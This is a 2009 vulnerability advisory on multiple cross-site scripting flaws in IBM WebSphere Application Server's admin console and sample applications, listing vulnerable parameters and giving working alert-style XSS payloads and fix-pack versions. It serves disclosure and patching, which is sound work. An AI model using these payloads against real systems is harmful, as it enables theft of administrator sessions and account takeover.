IBM WebSphere Cross Site Scripting

`Digital Security Research Group [DSecRG] Advisory #DSECRG-09-013  
!!! official advisory: !!!  
http://dsecrg.com/pages/vul/DSECRG-09-013.html  
  
  
Application: IBM WebSphere Application Server  
Versions Affected: 7.0 and 6.1  
Vendor URL: http://www.ibm.com/websphere/  
Bug: Multiple XSS Vulnerabilities  
Exploits: YES  
Reported: 01.11.2008  
Vendor response: 02.11.2008   
Solution: FP 6.1.0.23 and 7.0.0.3   
Date of Public Advisory: 27.03.2009  
Internal number DEFECT 566807  
CVE-number: ..  
Author: Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)  
  
  
  
Description  
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Multiple XSS Vulnerabilities found in:  
  
WAS Core System:  
  
1. Integrated Solutions Console XSS vulnerability.  
  
WAS Samples:  
  
2. PlantsByWebSphere Sample multiple XSS vulnerabilities.  
3. JAX-WS Web Services MTOM Sample XSS vulnerability.  
4. JAX-WS Web Services Ping and Echo Sample multiple XSS vulnerabilities.  
5. Dynamic Query - Employee Finder Sample multiple XSS vulnerabilities.  
6. Dynamic Query - EJB Data Mediator Service Sample XSS vulnerability.  
7. Application Profile - Account Management Sample multiple XSS vulnerabilities.  
8. Scheduler Account Report Sample multiple XSS vulnerabilities.  
  
  
Details  
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1. Integrated Solutions Console XSS vulnerability.   
  
Attacker can inject XSS in URL string.  
  
Example:  
  
http://[server]/ibm/console/<script>alert('DSecRG_XSS')</script>  
http://[server]/ibm/console/<script>alert('DSecRG_XSS')</script>.jsp  
  
Using this vulnerability attacker can steal admin's cookie and then authentificate as administrator.   
  
2. PlantsByWebSphere Sample multiple XSS vulnerabilities.  
  
2.1 Multiple linked XSS vulnerabilities.  
  
Attacker can inject XSS in URL string.  
  
Example:  
  
http://[server]/PlantsByWebSphere/<IMG SRC="javascript:alert('DSecRG XSS')">  
http://[server]/PlantsByWebSphere/<script>alert('DSecRG XSS')</script>.jsp  
  
  
2.2 XSS vulnerability found in script /PlantsByWebSphere/servlet/AccountServlet  
  
Attacker can inject XSS in parameter "userid".  
  
Example:  
  
http://[server]/PlantsByWebSphere/servlet/AccountServlet?action=login&updating=false&userid=<script>alert('DSecRG XSS')</script>  
  
  
2.3 Multiple XSS vulnerabilities found in script /PlantsByWebSphere/servlet/ShoppingServlet  
  
Vulnerable parameters:  
  
"baddr1", "baddr2", "bcity", "bname", "bphone", "bstate",   
"bzip", "category", "itemqty0", "itemqty1", "itemqty2",   
"itemqty3", "itemqty4", "itemqty5", "itemqty6", "itemqty7",   
"qty", "saddr1", "saddr2", "scity", "shippingMethod",   
"sname", "sphone", "sstate", "szip".  
  
Example:  
  
bzip = <script>alert('DSecRG XSS')</script>  
qty = <IMG SRC=javascript:alert('DSecRG_XSS')>  
  
http://[server]/PlantsByWebSphere/servlet/ShoppingServlet?action=shopping&category=<script>alert('DSecRG XSS')</script>  
  
  
3. JAX-WS Web Services MTOM Sample XSS vulnerability.  
  
Vulnerability found in script /wssamplemtom/demo  
  
POST parameter "uridef".  
  
Example:  
  
uridef = "><script>alert('DSecRG XSS')</script>  
  
  
4. JAX-WS Web Services Ping and Echo Sample multiple XSS vulnerabilities.  
  
Vulnerabilities found in script /scriptwssamplesei/demo  
  
POST parameters "msgstring" and "uri".  
  
Example:  
  
msgstring = </textarea><script>alert('DSecRG XSS')</script>  
uri = "><script>alert('DSecRG XSS')</script>  
  
  
  
5. Dynamic Query - Employee Finder Sample multiple XSS vulnerabilities.  
  
Vulnerabilities found in script /DynamicQuery/EmployeeFinderWeb/EmployeeFinder.jsp  
  
Vulnerable parameters "query" and "rbindex".  
  
Example:  
  
query = --><script>alert('DSecRG XSS')</script>  
rbindex = --><script>alert('DSecRG XSS')</script>  
  
http://[server]/DynamicQuery/EmployeeFinderWeb/EmployeeFinder.jsp?query=</textarea><script>alert('DSecRG XSS')</script>  
  
  
  
6. Dynamic Query - EJB Data Mediator Service Sample XSS vulnerability.  
  
Vulnerabilities found in script /DynamicQuery/EjbMediatorWeb/  
  
POST parameter "query".  
  
Example:  
  
query = <script>alert('DSecRG XSS')</script>;'  
  
  
7. Application Profile - Account Management Sample multiple XSS vulnerabilities.  
  
Vulnerabilities found in script /ApplicationProfileSample/servlet/AccountManagementServlet  
  
Vulnerable parameters "accountNumberToBeCreated", "balance" and "minibalance".  
  
Example:  
  
http://[server]/ApplicationProfileSample/servlet/AccountManagementServlet?accountNumberToBeCreated="><IMG/SRC=javascript:alert('DSecRG_XSS')>  
http://[server]/ApplicationProfileSample/servlet/AccountManagementServlet?balance=" STYLE="xss:expression(alert('DSecRG XSS'))  
http://[server]/ApplicationProfileSample/servlet/AccountManagementServlet?minibalance="><script>alert('DSecRG XSS')</script>  
  
  
  
8. Scheduler Account Report Sample multiple XSS vulnerabilities.  
  
Vulnerabilities found in script /scheduler/accountreport  
  
Vulnerable parameters "acctnum", "balance", "desc", "owner", "repeatint", "repeats" and "startint".  
  
Example:  
  
acctnum = " STYLE="xss:expression(alert('DSecRG XSS'))  
desc = "><IMG/SRC=javascript:alert('DSecRG_XSS')>  
startint = "><script>alert('DSecRG XSS')</script>  
  
  
  
Solution  
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Download FP 6.1.0.23 and 7.0.0.3 from official site.  
http://www-01.ibm.com/support/docview.wss?rs=180&uid=swg27004980  
  
  
  
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